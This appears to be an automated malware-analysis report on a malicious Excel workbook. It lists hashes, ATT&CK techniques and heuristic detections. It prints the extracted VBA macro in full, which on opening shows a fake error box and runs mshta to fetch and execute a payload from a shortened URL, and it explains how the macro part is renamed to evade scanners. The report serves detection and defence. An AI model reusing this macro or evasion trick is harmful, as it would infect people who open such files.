Office (OOXML) malware analysis — malicious · cf6b49bf733306a6

MALICIOUS

Office (OOXML)

35.5 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-02

MD5: 11f810396d163d00637bdaeda25d34ac SHA-1: fea1b865936f3599b736b41cc00f25bee033d0aa SHA-256: cf6b49bf733306a6d7692ac2dc0cea7610c826d68db9a216942995513f17a247

230 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1218.005 Client Execution: Mshta T1566.001 Spearphishing Attachment

The sample is an Excel document containing a Workbook_Open VBA macro. This macro constructs and executes a command using mshta.exe to download and run a payload from the URL "https://www.bitly.com/kddjkokdowkwddkwi". The use of a renamed VBA project part and the Workbook_Open event are common techniques for evading detection and achieving automatic execution.

Heuristics 7

VBA project inside OOXML medium 5 related findings OOXML_VBA

Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: xl/kaosdkaoskdoakds.b)
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
Debug.Print Z
Debug.Print (Shell(X + Y + Z))
End Sub
```
LOLBin reference in VBA critical OLE_VBA_LOLBIN

LOLBin reference in VBA
Matched line in script
```
Dim Z As String
X = "mshta  "
Y = "https://www.bitly.com/"
```
VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED

The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro

Matched line in script

Attribute VB_Customizable = True
Private Sub Workbook_Open()
Debug.Print MsgBox("ERROR!", vbOKCancel); returns; 1

Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL https://www.bitly.com/ In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	896 bytes
SHA-256: `28ad422d43a09ba940e9fd3941452088b8d0fad7a44868093e60c37f86057ccf`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Debug.Print MsgBox("ERROR!", vbOKCancel); returns; 1 Dim X As String Dim Y As String Dim Z As String X = "mshta " Y = "https://www.bitly.com/" Z = "kddjkokdowkwddkwi" Debug.Print X Debug.Print Y Debug.Print Z Debug.Print (Shell(X + Y + Z)) End Sub
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/kaosdkaoskdoakds.b	14848 bytes
SHA-256: `030a44b066e3daf75d6eef75d4315aeeddb124593660d293d96ffa89b1cc6c63`

Open this report in the interactive analyzer, or submit your own file for analysis.